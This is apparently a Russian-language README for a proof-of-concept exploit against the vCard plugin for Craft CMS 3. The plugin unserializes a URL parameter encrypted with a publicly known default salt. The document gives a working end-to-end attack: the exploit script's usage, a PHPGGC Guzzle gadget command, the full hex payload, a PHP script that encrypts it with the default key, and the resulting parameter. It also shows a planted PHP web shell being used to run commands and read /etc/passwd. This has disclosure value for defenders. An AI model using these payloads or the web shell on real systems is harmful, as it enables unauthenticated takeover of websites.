
Этот репозиторий содержит сведения об уязвимости, обнаруженной в плагине «vCard» для CraftCMS 3.
В Craft CMS есть плагин для скачивания контактов в формате *.vcf под названием "vCard". Плагин можно посмотреть в репозитории Craft и на Github: Craft Plugin Store Github
Этот плагин принимает параметр, отправленный клиентом, расшифровывает значение с помощью openssl_decrypt, а затем передаёт полученную строку в PHP-функцию unserialize. Поскольку соль по умолчанию для шифрования доступна в репозитории, атакующий может использовать ту же логику для шифрования вредоносной сериализованной нагрузки.
Если у пользователя в настройках плагина задано изменённое значение "salt", то его необходимо будет передать как параметр Python-скрипту. Однако это значение останется неизменным, если плагин скачан из магазина плагинов или просто склонирован из репозитория. В веб-интерфейсе Craft нет возможности его изменить.
Запустите скрипт, указав ссылку vCard, которая запускает скачивание контактов. Удалите значение параметра vcard.
Тогда параметр для скрипта будет таким: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Существует необязательное значение соли, которое можно указать. Все параметры показаны здесь:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
Скрипт был протестирован на Python 3.6
Скрипт выполняет PHP-команду на хосте атакующего для шифрования полезной нагрузки. Поэтому необходимо установить php-cli. Эта атака была протестирована с PHP 7.2-cli и PHP 7.3-cli
Вот фрагмент кода, где происходит небезопасная десериализация (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
Параметр $optionsString — это значение URL-параметра "vcard", переданного клиентом. Оно проходит через функцию decrypt и затем десериализуется. Если клиент может воспроизвести шифрование, этот код становится уязвимым, так как напрямую десериализует данные, предоставленные пользователем.
Вот соответствующая функция шифрования (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
Единственное значение, которое необходимо знать атакующему, — это переменная $key, устанавливаемая выражением "VCard::$plugin->getSettings()->salt". Значение по умолчанию можно увидеть в репозитории: "s34s4L7" (config.php:26) Github
Если используется соль по умолчанию, атакующий может вызвать десериализацию любого класса в установке Craft.
Нам нужно найти класс-«гаджет» в стандартной установке Craft, который можно использовать в злонамеренных целях. Просмотр классов, имеющих магические функции __destruct или __wakeup, даёт достаточно небольшой список для анализа. Это можно сделать с помощью "grep -rni < path to web root > -e '__destruct'"
guzzlehttp имеет класс под названием "FileCookieJar", который, судя по всему, сохраняет файл, используя атрибут класса в качестве имени файла:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Изучение функции save показывает, что она записывает данные в путь к файлу в системе; и путь, и данные являются атрибутами класса и находятся под контролем атакующего. Логично, что при уничтожении этого объекта класса он записывает все свои cookie-файлы в атрибут имени файла для последующего восстановления или использования. Вот содержимое функции save, где file_put_contents является нашей целью (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
К счастью, нам не нужно вручную конструировать вредоносную нагрузку. Замечательный инструмент PHPGGC автоматизирует сериализацию класса Guzzle с полезной нагрузкой для использования в этой атаке.
Я использовал этот инструмент для создания базовой полезной нагрузки для эксплойта, хотя она будет немного изменяться в зависимости от имени файла. Также важно отметить, что при генерации новой нагрузки с помощью PHPGGC параметр "-f" обязательно должен быть использован, иначе магическая функция __destruct не сработает:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
Содержимое sample.txt:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Имейте в виду, что обычное копирование+вставка здесь не сработает, так как в сериализованном классе есть нулевые байты, которые должны присутствовать для правильного сопоставления атрибутов. Мне пришлось преобразовать необработанный вывод инструмента в hex, а затем обратно в строку, имитируя процесс шифрования. Вот bash-команда для получения hex-нагрузки.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
В конце сгенерированной нагрузки может присутствовать байт "0A". Если он есть, удалите его. В любом случае, теперь, когда у нас есть нагрузка от PHPGGC и она преобразована в hex, нам нужно зашифровать её перед отправкой в уязвимую функцию плагина. Скопировав логику из упомянутой ранее функции шифрования vCard, нам просто нужно преобразовать hex-нагрузку и зашифровать её. Вот PHP-скрипт, который я использовал:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c436f6f6b69655c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c436f6f6b69655c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
И результирующий вывод:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
Наконец! Теперь, когда у нас есть нагрузка, нам нужно просто отправить её в запросе, и shell станет доступен. Ссылка на действительную загрузку vCard будет различаться. Вот пример из моего тестового развёртывания:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
Значение параметра vcard удаляется и заменяется нашей вредоносной нагрузкой:
Строка передаётся как $optionsString, расшифровывается, а затем десериализуется, вызывая внутреннюю ошибку сервера. Изучение файловой системы тестового веб-сервера показывает, что был создан новый файл shell.php:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
Открыв http://craftcms/shell.php в браузере, я теперь могу передавать системные команды через GET-параметр cmd.
Пример: http://craftcms/shell.php?cmd=cat%20/etc/passwd
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Генерация PHP-гаджетов: https://github.com/ambionics/phpggc
Плагин vCard: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
Документация по unserialize: https://www.php.net/manual/en/function.unserialize.php